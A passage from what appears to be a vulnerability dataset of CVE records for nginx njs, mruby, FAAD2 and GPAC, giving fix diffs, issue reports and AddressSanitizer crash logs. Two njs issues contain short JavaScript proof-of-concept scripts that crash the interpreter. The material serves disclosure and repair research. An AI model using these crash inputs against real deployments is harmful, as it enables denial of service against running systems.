#7 0x555b644bbaba in njs_function_lambda_call src/njs_function.c:703
#8 0x555b644620fb in njs_vmcode_interpreter src/njs_vmcode.c:788
#9 0x555b6445c0ba in njs_vm_start src/njs_vm.c:553
#10 0x555b644453f8 in njs_process_script src/njs_shell.c:890
#11 0x555b64445ebf in njs_process_file src/njs_shell.c:619
#12 0x555b6444721f in main src/njs_shell.c:303
#13 0x7f301e32b0b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x240b2)
#14 0x555b64442c4d in _start (/home/wz/njs/njs/build/njs+0x4bc4d)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV src/njs_value.c:240 in njs_value_own_enumerate
==2523460==ABORTING | === https://github.com/nginx/njs/issues/485 ===
Title: SEGV src/njs_value.c:240 in njs_value_own_enumerate
---
Body:
# Environment
OS : Linux leanderwang-LC2 5.13.0-30-generic https://github.com/nginx/njs/issues/33 SMP Mon Feb 7 14:25:10 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
Commit : https://github.com/nginx/njs/commit/f65981b0b8fcf02d69a40bc934803c25c9f607ab
Version : 0.7.3
Build :
NJS_CFLAGS="$NJS_CFLAGS -fsanitize=address"
NJS_CFLAGS="$NJS_CFLAGS -fno-omit-frame-pointer"
# PoC
```js
function main() {
var empty_arr = {};
var arr1 = [empty_arr];
var arr2 = new Uint8Array();
arr2.__proto__ = arr1;
var arr3 = arr2.splice(..."bigint");
Promise.valueOf = arr3;
var v9 = Array(0x20000000000000);
}
main();
```
# Stack dump
```bash
AddressSanitizer:DEADLYSIGNAL
=================================================================
==2523460==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x555b64452f1c bp 0x7ffdcdd97650 sp 0x7ffdcdd97520 T0)
==2523460==The signal is caused by a READ memory access.
==2523460==Hint: address points to the zero page.
#0 0x555b64452f1b in njs_value_own_enumerate src/njs_value.c:240
#1 0x555b6448d019 in njs_object_traverse src/njs_object.c:1230
#2 0x555b644df091 in njs_builtin_match_native_function src/njs_builtin.c:726
#3 0x555b644d26cb in njs_add_backtrace_entry src/njs_error.c:1309
#4 0x555b644d26cb in njs_error_stack_new src/njs_error.c:102
#5 0x555b644d26cb in njs_error_stack_attach src/njs_error.c:161
#6 0x555b6446455e in njs_vmcode_interpreter src/njs_vmcode.c:985
#7 0x555b644bbaba in njs_function_lambda_call src/njs_function.c:703
#8 0x555b644620fb in njs_vmcode_interpreter src/njs_vmcode.c:788
#9 0x555b6445c0ba in njs_vm_start src/njs_vm.c:553
#10 0x555b644453f8 in njs_process_script src/njs_shell.c:890
#11 0x555b64445ebf in njs_process_file src/njs_shell.c:619
#12 0x555b6444721f in main src/njs_shell.c:303
#13 0x7f301e32b0b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x240b2)
#14 0x555b64442c4d in _start (/home/wz/njs/njs/build/njs+0x4bc4d)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV src/njs_value.c:240 in njs_value_own_enumerate
==2523460==ABORTING
```
# Credit
xmzyshypnc(@xmzyshypnc) and P1umer(@P1umer) | https://nvd.nist.gov/vuln/detail/CVE-2022-29779 | ||
njs.cve-2022-29369 | Nginx NJS v0.7.2 was discovered to contain a segmentation violation via njs_lvlhsh_bucket_find at njs_lvlhsh.c. | https://github.com/nginx/njs/commit/222d6fdcf0c6485ec8e175f3a7b70d650c234b4e | CWE-754 | nginx/njs | 222d6fdcf0c6485ec8e175f3a7b70d650c234b4e~1 | diff --git a/src/njs_vmcode.c b/src/njs_vmcode.c
index 0b07ec67e..6b10200ee 100644
--- a/src/njs_vmcode.c
+++ b/src/njs_vmcode.c
@@ -700,7 +700,7 @@ njs_vmcode_interpreter(njs_vm_t *vm, u_char *pc, void *promise_cap,
ret = njs_object_prop_define(vm, value1, &name, function,
accessor->type);
if (njs_slow_path(ret != NJS_OK)) {
- return NJS_ERROR;
+ goto error;
}
ret = sizeof(njs_vmcode_prop_accessor_t);
@@ -779,12 +779,12 @@ njs_vmcode_interpreter(njs_vm_t *vm, u_char *pc, void *promise_cap,
}
if (njs_slow_path(!njs_is_function(&dst))) {
- ret = njs_value_to_key(vm, value2, value2);
+ ret = njs_value_to_key(vm, &dst, value2);
if (njs_slow_path(ret != NJS_OK)) {
- return NJS_ERROR;
+ goto error;
}
- njs_key_string_get(vm, value2, &string);
+ njs_key_string_get(vm, &dst, &string);
njs_type_error(vm,
"(intermediate value)[\"%V\"] is not a function",
&string);
@@ -950,7 +950,8 @@ njs_vmcode_interpreter(njs_vm_t *vm, u_char *pc, void *promise_cap,
if (njs_is_valid(value1)) {
value1 = njs_mp_alloc(vm->mem_pool, sizeof(njs_value_t));
if (njs_slow_path(value1 == NULL)) {
- return NJS_ERROR;
+ njs_memory_error(vm);
+ goto error;
}
njs_scope_value_set(vm, var->dst, value1);
@@ -967,7 +968,8 @@ njs_vmcode_interpreter(njs_vm_t *vm, u_char *pc, void *promise_cap,
value1 = njs_mp_alloc(vm->mem_pool, sizeof(njs_value_t));
if (njs_slow_path(value1 == NULL)) {
- return NJS_ERROR;
+ njs_memory_error(vm);
+ goto error;
}
*value1 = *value2;
diff --git a/src/test/njs_unit_test.c b/src/test/njs_unit_test.c
index ef5b3ca45..186defa1a 100644
--- a/src/test/njs_unit_test.c
+++ b/src/test/njs_unit_test.c
@@ -3409,6 +3409,11 @@ static njs_unit_test_t njs_test[] =
/**/
+ { njs_str("function f() { Object.prototype.toString = 1; };"
+ "Object.prototype.toString = f;"
+ "(function () { try { 's'[{}](); } catch (e) { throw e; } })()"),
+ njs_str("TypeError: Cannot convert object to primitive value") },
+
{ njs_str("var i; for (i = 0; i < 10; i++) { i += 1 } i"),
njs_str("10") },
| https://github.com/nginx/njs/issues/467 | AddressSanitizer:DEADLYSIGNAL
=================================================================
==2064577==ERROR: AddressSanitizer: SEGV on unknown address (pc 0x0000004cac48 bp 0x7ffcc1edfbf0 sp 0x7ffcc1edfbb0 T0)
==2064577==The signal is caused by a READ memory access.
==2064577==Hint: this fault was caused by a dereference of a high value address (see register values below). Dissassemble the provided pc to learn which register was used.
#0 0x4cac48 in njs_lvlhsh_bucket_find /home/q1iq/Documents/origin/njs/src/njs_lvlhsh.c:231:17
#1 0x4cac48 in njs_lvlhsh_find /home/q1iq/Documents/origin/njs/src/njs_lvlhsh.c:181:20
#2 0x516c4f in njs_object_property /home/q1iq/Documents/origin/njs/src/njs_object_prop.c:59:15
#3 0x4d5963 in njs_value_to_primitive /home/q1iq/Documents/origin/njs/src/njs_value.c:159:19
#4 0x4fb3ab in njs_value_to_number /home/q1iq/Documents/origin/njs/src/njs_value_conversion.h:18:15
#5 0x4fb3ab in njs_value_to_numeric /home/q1iq/Documents/origin/njs/src/njs_value_conversion.h:54:11
#6 0x4fb3ab in njs_string_from_char_code /home/q1iq/Documents/origin/njs/src/njs_string.c:2036:19
#7 0x53bf9c in njs_function_native_call /home/q1iq/Documents/origin/njs/src/njs_function.c:739:11
#8 0x4e47fa in njs_vmcode_interpreter /home/q1iq/Documents/origin/njs/src/njs_vmcode.c:785:23
#9 0x53b43a in njs_function_lambda_call /home/q1iq/Documents/origin/njs/src/njs_function.c:703:11
#10 0x4e47fa in njs_vmcode_interpreter /home/q1iq/Documents/origin/njs/src/njs_vmcode.c:785:23
#11 0x4deb7b in njs_vm_start /home/q1iq/Documents/origin/njs/src/njs_vm.c:493:11
#12 0x4c8099 in njs_process_script /home/q1iq/Documents/origin/njs/src/njs_shell.c:903:19
#13 0x4c7484 in njs_process_file /home/q1iq/Documents/origin/njs/src/njs_shell.c:632:11
#14 0x4c7484 in main /home/q1iq/Documents/origin/njs/src/njs_shell.c:316:15
#15 0x7f4beb9e10b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
#16 0x41dabd in _start (/home/q1iq/Documents/origin/njs/build/njs+0x41dabd)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/q1iq/Documents/origin/njs/src/njs_lvlhsh.c:231:17 in njs_lvlhsh_bucket_find
==2064577==ABORTING | === https://github.com/nginx/njs/issues/467 ===
Title: SEGV njs_lvlhsh.c:231:17 in njs_lvlhsh_bucket_find
---
Body:
### Environment
```
OS : Linux ubuntu 5.13.0-27-generic #29~20.04.1-Ubuntu SMP Fri Jan 14 00:32:30 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
Commit : 7bd570b39297d3d91902c93a624c89b08be7a6fe
Version : 0.7.2
Build :
NJS_CFLAGS="$NJS_CFLAGS -fsanitize=address"
NJS_CFLAGS="$NJS_CFLAGS -fno-omit-frame-pointer"
```
### Proof of concept
```
function f2(v) {
Object.prototype.toString = v;
}
Object.prototype.toString = f2;
function f() {
"includes"[{}]();
}
new Promise(f);
String.fromCharCode(0,parseInt);
```
### Stack dump
```
AddressSanitizer:DEADLYSIGNAL
=================================================================
==2064577==ERROR: AddressSanitizer: SEGV on unknown address (pc 0x0000004cac48 bp 0x7ffcc1edfbf0 sp 0x7ffcc1edfbb0 T0)
==2064577==The signal is caused by a READ memory access.
==2064577==Hint: this fault was caused by a dereference of a high value address (see register values below). Dissassemble the provided pc to learn which register was used.
#0 0x4cac48 in njs_lvlhsh_bucket_find /home/q1iq/Documents/origin/njs/src/njs_lvlhsh.c:231:17
#1 0x4cac48 in njs_lvlhsh_find /home/q1iq/Documents/origin/njs/src/njs_lvlhsh.c:181:20
#2 0x516c4f in njs_object_property /home/q1iq/Documents/origin/njs/src/njs_object_prop.c:59:15
#3 0x4d5963 in njs_value_to_primitive /home/q1iq/Documents/origin/njs/src/njs_value.c:159:19
#4 0x4fb3ab in njs_value_to_number /home/q1iq/Documents/origin/njs/src/njs_value_conversion.h:18:15
#5 0x4fb3ab in njs_value_to_numeric /home/q1iq/Documents/origin/njs/src/njs_value_conversion.h:54:11
#6 0x4fb3ab in njs_string_from_char_code /home/q1iq/Documents/origin/njs/src/njs_string.c:2036:19
#7 0x53bf9c in njs_function_native_call /home/q1iq/Documents/origin/njs/src/njs_function.c:739:11
#8 0x4e47fa in njs_vmcode_interpreter /home/q1iq/Documents/origin/njs/src/njs_vmcode.c:785:23
#9 0x53b43a in njs_function_lambda_call /home/q1iq/Documents/origin/njs/src/njs_function.c:703:11
#10 0x4e47fa in njs_vmcode_interpreter /home/q1iq/Documents/origin/njs/src/njs_vmcode.c:785:23
#11 0x4deb7b in njs_vm_start /home/q1iq/Documents/origin/njs/src/njs_vm.c:493:11
#12 0x4c8099 in njs_process_script /home/q1iq/Documents/origin/njs/src/njs_shell.c:903:19
#13 0x4c7484 in njs_process_file /home/q1iq/Documents/origin/njs/src/njs_shell.c:632:11
#14 0x4c7484 in main /home/q1iq/Documents/origin/njs/src/njs_shell.c:316:15
#15 0x7f4beb9e10b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
#16 0x41dabd in _start (/home/q1iq/Documents/origin/njs/build/njs+0x41dabd)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/q1iq/Documents/origin/njs/src/njs_lvlhsh.c:231:17 in njs_lvlhsh_bucket_find
==2064577==ABORTING
```
### Credit
Q1IQ(@Q1IQ) | https://nvd.nist.gov/vuln/detail/CVE-2022-29369 | ||
mruby.cve-2022-1201 | NULL Pointer Dereference in mrb_vm_exec with super in GitHub repository mruby/mruby prior to 3.2. This vulnerability is capable of making the mruby interpreter crash, thus affecting the availability of the system. | https://huntr.dev/bounties/6f930add-c9d8-4870-ae56-d4bd8354703b | https://github.com/mruby/mruby/commit/00acae117da1b45b318dc36531a7b0021b8097ae | CWE-476 | mruby/mruby | 00acae117da1b45b318dc36531a7b0021b8097ae~1 | diff --git a/src/vm.c b/src/vm.c
index 77edbb38fc..3bb9510ec1 100644
--- a/src/vm.c
+++ b/src/vm.c
@@ -1749,7 +1749,7 @@ mrb_vm_exec(mrb_state *mrb, const struct RProc *proc, const mrb_code *pc)
}
else if (target_class->tt == MRB_TT_MODULE) {
target_class = mrb_vm_ci_target_class(ci);
- if (target_class->tt != MRB_TT_ICLASS) {
+ if (!target_class || target_class->tt != MRB_TT_ICLASS) {
goto super_typeerror;
}
}
| https://nvd.nist.gov/vuln/detail/CVE-2022-1201 | ||||
faad2.cve-2018-20198 | A NULL pointer dereference was discovered in ifilter_bank of libfaad/filtbank.c in Freeware Advanced Audio Decoder 2 (FAAD2) 2.8.8. The vulnerability causes a segmentation fault and application crash, which leads to denial of service because adding to windowed output is mishandled in the LONG_START_SEQUENCE case. | https://github.com/fantasy7082/image_test/blob/master/002-null-point-filtbank_246 | https://github.com/knik0/faad2/commit/466b01d504d7e45f1e9169ac90b3e34ab94aed14 | CWE-476 | knik0/faad2 | 466b01d504d7e45f1e9169ac90b3e34ab94aed14~1 | diff --git a/libfaad/syntax.c b/libfaad/syntax.c
index f8e808c2..e7fb1138 100644
--- a/libfaad/syntax.c
+++ b/libfaad/syntax.c
@@ -344,6 +344,12 @@ static void decode_sce_lfe(NeAACDecStruct *hDecoder,
can become 2 when some form of Parametric Stereo coding is used
*/
+ if (hDecoder->frame && hDecoder->element_id[hDecoder->fr_ch_ele] != id_syn_ele) {
+ /* element inconsistency */
+ hInfo->error = 21;
+ return;
+ }
+
/* save the syntax element id */
hDecoder->element_id[hDecoder->fr_ch_ele] = id_syn_ele;
@@ -395,6 +401,12 @@ static void decode_cpe(NeAACDecStruct *hDecoder, NeAACDecFrameInfo *hInfo, bitfi
return;
}
+ if (hDecoder->frame && hDecoder->element_id[hDecoder->fr_ch_ele] != id_syn_ele) {
+ /* element inconsistency */
+ hInfo->error = 21;
+ return;
+ }
+
/* save the syntax element id */
hDecoder->element_id[hDecoder->fr_ch_ele] = id_syn_ele;
| https://github.com/knik0/faad2/issues/23, https://seclists.org/bugtraq/2019/Sep/28 | ./faad faad_res/002-null-point-filtbank_246 -o out.wav
*********** Ahead Software MPEG-4 AAC Decoder V2.8.8 ******************
Build: Dec 13 2018
Copyright 2002-2004: Ahead Software AG
http://www.audiocoding.com
bug tracking: https://sourceforge.net/p/faac/bugs/
Floating point version
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License.
**************************************************************************
faad_res/002-null-point-filtbank_246 file info:
ADTS, 0.043 sec, 37 kbps, 48000 Hz
---------------------
| Config: 3 Ch |
---------------------
| Ch | Position |
---------------------
| 00 | Left front |
| 01 | Right front |
| 02 | Unknown |
---------------------
ASAN:SIGSEGV faad_res/002-null-point-filtbank_246.
=================================================================
==7062==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7fe67b9599f6 bp 0x7fff60c60600 sp 0x7fff60c5e510 T0)
#0 0x7fe67b9599f5 in ifilter_bank /root/faad2_asan/libfaad/filtbank.c:246
#1 0x7fe67b99519d in reconstruct_channel_pair /root/faad2_asan/libfaad/specrec.c:1258
#2 0x7fe67b99b823 in channel_pair_element /root/faad2_asan/libfaad/syntax.c:759
#3 0x7fe67b999cbf in decode_cpe /root/faad2_asan/libfaad/syntax.c:402
#4 0x7fe67b99a398 in raw_data_block /root/faad2_asan/libfaad/syntax.c:448
#5 0x7fe67b9549c3 in aac_frame_decode /root/faad2_asan/libfaad/decoder.c:990
#6 0x7fe67b954566 in NeAACDecDecode /root/faad2_asan/libfaad/decoder.c:821
#7 0x40f8ae in decodeAACfile /root/faad2_asan/frontend/main.c:679
#8 0x411dd4 in faad_main /root/faad2_asan/frontend/main.c:1323
#9 0x411fe5 in main /root/faad2_asan/frontend/main.c:1366
#10 0x7fe67b58c82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#11 0x401aa8 in _start (/usr/local/faad-asan/bin/faad+0x401aa8)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /root/faad2_asan/libfaad/filtbank.c:246 ifilter_bank
==7062==ABORTING | === https://github.com/knik0/faad2/issues/23 ===
Title: Null pointer dereference vulnerability in ifilter_bank(libfaad/filtbank.c:246)
---
Body:
Hi, i found a null pointer dereference bug in Freeware Advanced Audio Decoder 2 (FAAD2) 2.8.8. It crashed in function ifilter_bank.the details are below(ASAN):
```
./faad faad_res/002-null-point-filtbank_246 -o out.wav
*********** Ahead Software MPEG-4 AAC Decoder V2.8.8 ******************
Build: Dec 13 2018
Copyright 2002-2004: Ahead Software AG
http://www.audiocoding.com
bug tracking: https://sourceforge.net/p/faac/bugs/
Floating point version
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License.
**************************************************************************
faad_res/002-null-point-filtbank_246 file info:
ADTS, 0.043 sec, 37 kbps, 48000 Hz
---------------------
| Config: 3 Ch |
---------------------
| Ch | Position |
---------------------
| 00 | Left front |
| 01 | Right front |
| 02 | Unknown |
---------------------
ASAN:SIGSEGV faad_res/002-null-point-filtbank_246.
=================================================================
==7062==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7fe67b9599f6 bp 0x7fff60c60600 sp 0x7fff60c5e510 T0)
#0 0x7fe67b9599f5 in ifilter_bank /root/faad2_asan/libfaad/filtbank.c:246
#1 0x7fe67b99519d in reconstruct_channel_pair /root/faad2_asan/libfaad/specrec.c:1258
#2 0x7fe67b99b823 in channel_pair_element /root/faad2_asan/libfaad/syntax.c:759
#3 0x7fe67b999cbf in decode_cpe /root/faad2_asan/libfaad/syntax.c:402
#4 0x7fe67b99a398 in raw_data_block /root/faad2_asan/libfaad/syntax.c:448
#5 0x7fe67b9549c3 in aac_frame_decode /root/faad2_asan/libfaad/decoder.c:990
#6 0x7fe67b954566 in NeAACDecDecode /root/faad2_asan/libfaad/decoder.c:821
#7 0x40f8ae in decodeAACfile /root/faad2_asan/frontend/main.c:679
#8 0x411dd4 in faad_main /root/faad2_asan/frontend/main.c:1323
#9 0x411fe5 in main /root/faad2_asan/frontend/main.c:1366
#10 0x7fe67b58c82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#11 0x401aa8 in _start (/usr/local/faad-asan/bin/faad+0x401aa8)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /root/faad2_asan/libfaad/filtbank.c:246 ifilter_bank
==7062==ABORTING
```
POC FILE:https://github.com/fantasy7082/image_test/blob/master/002-null-point-filtbank_246
---
Comment #1 by hlef:
This issue has been assigned CVE-2018-20198.
Same underlying issue as #26.
@fabiangreffrath : fixed by 466b01d504d7e45f1e9169ac90b3e34ab94aed14.
---
Comment #2 by fabiangreffrath:
Closing, thanks! | https://nvd.nist.gov/vuln/detail/CVE-2018-20198 | |
mruby.cve-2022-1427 | Out-of-bounds Read in mrb_obj_is_kind_of in in GitHub repository mruby/mruby prior to 3.2. # Impact: Possible arbitrary code execution if being exploited. | https://huntr.dev/bounties/23b6f0a9-64f5-421e-a55f-b5b7a671f301 | https://github.com/mruby/mruby/commit/a4d97934d51cb88954cc49161dc1d151f64afb6b | CWE-125 | mruby/mruby | a4d97934d51cb88954cc49161dc1d151f64afb6b~1 | diff --git a/src/vm.c b/src/vm.c
index 5013c877d4..aa043b06ae 100644
--- a/src/vm.c
+++ b/src/vm.c
@@ -1750,10 +1750,7 @@ mrb_vm_exec(mrb_state *mrb, const struct RProc *proc, const mrb_code *pc)
mrb_exc_set(mrb, exc);
goto L_RAISE;
}
- if (target_class->flags & MRB_FL_CLASS_IS_PREPENDED) {
- target_class = mrb_vm_ci_target_class(ci);
- }
- else if (target_class->tt == MRB_TT_MODULE) {
+ if ((target_class->flags & MRB_FL_CLASS_IS_PREPENDED) || target_class->tt == MRB_TT_MODULE) {
target_class = mrb_vm_ci_target_class(ci);
if (!target_class || target_class->tt != MRB_TT_ICLASS) {
goto super_typeerror;
| ASan (inferred) | https://nvd.nist.gov/vuln/detail/CVE-2022-1427 | |||
gpac.cve-2023-48013 | GPAC v2.3-DEV-rev566-g50c2ab06f-master was discovered to contain a double free via the gf_filterpacket_del function at /gpac/src/filter_core/filter.c. | https://github.com/gpac/gpac/issues/2612 | https://github.com/gpac/gpac/commit/cd8a95c1efb8f5bfc950b86c2ef77b4c76f6b893 | CWE-415 | gpac/gpac | cd8a95c1efb8f5bfc950b86c2ef77b4c76f6b893~1 | diff --git a/src/filters/isoffin_read_ch.c b/src/filters/isoffin_read_ch.c
index bd96400689..6e74ce8e3f 100644
--- a/src/filters/isoffin_read_ch.c
+++ b/src/filters/isoffin_read_ch.c
@@ -395,6 +395,8 @@ void isor_reader_get_sample(ISOMChannel *ch)
if (ch->edit_sync_frame) {
ch->edit_sync_frame++;
if (ch->edit_sync_frame < ch->sample_num) {
+ ch->static_sample->alloc_size = 0;
+ ch->static_sample->dataLength = 0;
ch->sample = gf_isom_get_sample_ex(ch->owner->mov, ch->track, ch->edit_sync_frame, &sample_desc_index, ch->static_sample, &ch->sample_data_offset);
if (ch->sample) {
ch->sample->DTS = ch->sample_time;
@@ -416,12 +418,20 @@ void isor_reader_get_sample(ISOMChannel *ch)
//e = GF_EOS;
} else {
u32 time_diff = gf_isom_get_sample_duration(ch->owner->mov, ch->track, sample_num);
+
+ ch->static_sample->alloc_size = 0;
+ ch->static_sample->dataLength = 0;
+
e = gf_isom_get_sample_for_movie_time(ch->owner->mov, ch->track, ch->sample_time + time_diff, &sample_desc_index, GF_ISOM_SEARCH_FORWARD, &ch->static_sample, &ch->sample_num, &ch->sample_data_offset);
ch->static_sample->alloc_size = 0;
if (e==GF_OK) {
if (ch->sample_num == prev_sample) {
ch->sample_time += time_diff;
ch->sample = NULL;
+ if (ch->pck) {
+ gf_filter_pck_discard(ch->pck);
+ ch->pck = NULL;
+ }
return;
} else {
ch->sample = ch->static_sample;
@@ -437,6 +447,8 @@ void isor_reader_get_sample(ISOMChannel *ch)
GF_ISOSample *found = ch->static_sample;
u32 samp_num = ch->sample_num;
ch->sample = NULL;
+ ch->static_sample->alloc_size = 0;
+ ch->static_sample->dataLength = 0;
e = gf_isom_get_sample_for_movie_time(ch->owner->mov, ch->track, ch->sample_time + 1, &sample_desc_index, GF_ISOM_SEARCH_SYNC_BACKWARD, &ch->static_sample, &ch->sample_num, &ch->sample_data_offset);
ch->static_sample->alloc_size = 0;
| https://github.com/gpac/gpac/issues/2612 | ==827317==ERROR: AddressSanitizer: attempting double-free on 0x619000015980 in thread T0:
#0 0x55e7797a5972 in free (/home/user/fuzzing_gpac/gpac/bin/gcc/MP4Box+0x105972) (BuildId: 53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9)
#1 0x7f525cd97945 in gf_filterpacket_del /home/user/fuzzing_gpac/gpac/src/filter_core/filter.c:38:17
#2 0x7f525cd6a022 in gf_fq_del /home/user/fuzzing_gpac/gpac/src/filter_core/filter_queue.c:105:33
#3 0x7f525cda14e5 in gf_filter_del /home/user/fuzzing_gpac/gpac/src/filter_core/filter.c:664:3
#4 0x7f525cd6ede9 in gf_fs_del /home/user/fuzzing_gpac/gpac/src/filter_core/filter_session.c:782:4
#5 0x7f525c6283f6 in gf_dasher_clean_inputs /home/user/fuzzing_gpac/gpac/src/media_tools/dash_segmenter.c:164:3
#6 0x7f525c6283f6 in gf_dasher_del /home/user/fuzzing_gpac/gpac/src/media_tools/dash_segmenter.c:173:2
#7 0x55e779809d2d in do_dash /home/user/fuzzing_gpac/gpac/applications/mp4box/mp4box.c:4894:2
#8 0x55e7797fab6e in mp4box_main /home/user/fuzzing_gpac/gpac/applications/mp4box/mp4box.c:6245:7
#9 0x7f525b629d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
#10 0x7f525b629e3f in __libc_start_main csu/../csu/libc-start.c:392:3
#11 0x55e779722dd4 in _start (/home/user/fuzzing_gpac/gpac/bin/gcc/MP4Box+0x82dd4) (BuildId: 53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9)
0x619000015980 is located 0 bytes inside of 1084-byte region [0x619000015980,0x619000015dbc)
freed by thread T0 here:
#0 0x55e7797a6046 in __interceptor_realloc (/home/user/fuzzing_gpac/gpac/bin/gcc/MP4Box+0x106046) (BuildId: 53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9)
#1 0x7f525c4f7ab6 in Media_GetSample /home/user/fuzzing_gpac/gpac/src/isomedia/media.c:619:30
#2 0x7f525c45d7b3 in gf_isom_get_sample_ex /home/user/fuzzing_gpac/gpac/src/isomedia/isom_read.c:1975:6
#3 0x7f525d05a156 in isor_reader_get_sample /home/user/fuzzing_gpac/gpac/src/filters/isoffin_read_ch.c:398:19
#4 0x7f525d04d2d5 in isoffin_process /home/user/fuzzing_gpac/gpac/src/filters/isoffin_read.c:1486:5
#5 0x7f525cdafa33 in gf_filter_process_task /home/user/fuzzing_gpac/gpac/src/filter_core/filter.c:2971:7
previously allocated by thread T0 here:
LLVMSymbolizer: error reading file: No such file or directory
#0 0x55e7797a6046 in __interceptor_realloc (/home/user/fuzzing_gpac/gpac/bin/gcc/MP4Box+0x106046) (BuildId: 53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9)
#1 0x7f525cd00add in gf_filter_pck_expand /home/user/fuzzing_gpac/gpac/src/filter_core/filter_pck.c:1846:15
#2 0x7ffd05c3a8df ([stack]+0x328df)
SUMMARY: AddressSanitizer: double-free (/home/user/fuzzing_gpac/gpac/bin/gcc/MP4Box+0x105972) (BuildId: 53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9) in free
==827317==ABORTING | === https://github.com/gpac/gpac/issues/2612 ===
Title: double-free in gf_filterpacket_del /home/user/fuzzing_gpac/gpac/src/filter_core/filter.c:38:17
---
Body:
# Version
```
$ ./MP4Box -version
MP4Box - GPAC version 2.3-DEV-rev566-g50c2ab06f-master
```
# Platform
```
$ uname -a
Linux user-GE40-2PC-Dragon-Eyes 6.2.0-33-generic #33~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 7 10:33:52 UTC 2 x86_64 x86_64 x86_64 GNU/Linux
```
# Asan
```
/home/user/vul/MP4Box_crash/id000037sig06src002502time27968081execs258947ophavocrep16
[32m[iso file] Unknown box type 00000000 in parent moov
[0m[32m[iso file] Unknown top-level box type 00000100
[0m[32m[Dasher] No template assigned, using $File$_dash$FS$$Number$
[0m[32m[Dasher] No bitrate property assigned to PID V1, computing from bitstream
[0m[31m[IsoMedia] Failed to fetch initial sample 1 for track 2
[0m[32m[iso file] Unknown box type 00000000 in parent moov
[0m[33m[Dasher] Representation not initialized, dropping non-SAP1/2 packet CTS 18446744073709551615/12288
[0m[31m[IsoMedia] Failed to fetch initial sample 1 for track 2
[0m[31m[MuxIsom] Packet with no CTS assigned, cannot store to track, ignoring
[0m[31m[IsoMedia] File truncated, aborting read for track 1
[0m[31m[IsoMedia] Failed to fetch initial sample 1 for track 2
[0m[37mDashing P1 AS#1.1(V) done (1 segs)
[0m[31m[Dasher] Couldn't compute bitrate of PID V1 in time for manifest generation, please specify #Bitrate property
[0m[31m[Dasher] Couldn't compute bitrate of PID V1 in time for manifest generation, please specify #Bitrate property
[0m[32m[MPD] Generating MPD at time 2023-10-08T12:38:38.043Z
[0m[32m[Dasher] End of Period
[0m[32m[Dasher] End of MPD (no more active streams)
[0m=================================================================
==827317==ERROR: AddressSanitizer: attempting double-free on 0x619000015980 in thread T0:
#0 0x55e7797a5972 in free (/home/user/fuzzing_gpac/gpac/bin/gcc/MP4Box+0x105972) (BuildId: 53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9)
#1 0x7f525cd97945 in gf_filterpacket_del /home/user/fuzzing_gpac/gpac/src/filter_core/filter.c:38:17
#2 0x7f525cd6a022 in gf_fq_del /home/user/fuzzing_gpac/gpac/src/filter_core/filter_queue.c:105:33
#3 0x7f525cda14e5 in gf_filter_del /home/user/fuzzing_gpac/gpac/src/filter_core/filter.c:664:3
#4 0x7f525cd6ede9 in gf_fs_del /home/user/fuzzing_gpac/gpac/src/filter_core/filter_session.c:782:4
#5 0x7f525c6283f6 in gf_dasher_clean_inputs /home/user/fuzzing_gpac/gpac/src/media_tools/dash_segmenter.c:164:3
#6 0x7f525c6283f6 in gf_dasher_del /home/user/fuzzing_gpac/gpac/src/media_tools/dash_segmenter.c:173:2
#7 0x55e779809d2d in do_dash /home/user/fuzzing_gpac/gpac/applications/mp4box/mp4box.c:4894:2
#8 0x55e7797fab6e in mp4box_main /home/user/fuzzing_gpac/gpac/applications/mp4box/mp4box.c:6245:7
#9 0x7f525b629d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
#10 0x7f525b629e3f in __libc_start_main csu/../csu/libc-start.c:392:3
#11 0x55e779722dd4 in _start (/home/user/fuzzing_gpac/gpac/bin/gcc/MP4Box+0x82dd4) (BuildId: 53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9)
0x619000015980 is located 0 bytes inside of 1084-byte region [0x619000015980,0x619000015dbc)
freed by thread T0 here:
#0 0x55e7797a6046 in __interceptor_realloc (/home/user/fuzzing_gpac/gpac/bin/gcc/MP4Box+0x106046) (BuildId: 53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9)
#1 0x7f525c4f7ab6 in Media_GetSample /home/user/fuzzing_gpac/gpac/src/isomedia/media.c:619:30
#2 0x7f525c45d7b3 in gf_isom_get_sample_ex /home/user/fuzzing_gpac/gpac/src/isomedia/isom_read.c:1975:6
#3 0x7f525d05a156 in isor_reader_get_sample /home/user/fuzzing_gpac/gpac/src/filters/isoffin_read_ch.c:398:19
#4 0x7f525d04d2d5 in isoffin_process /home/user/fuzzing_gpac/gpac/src/filters/isoffin_read.c:1486:5
#5 0x7f525cdafa33 in gf_filter_process_task /home/user/fuzzing_gpac/gpac/src/filter_core/filter.c:2971:7
previously allocated by thread T0 here:
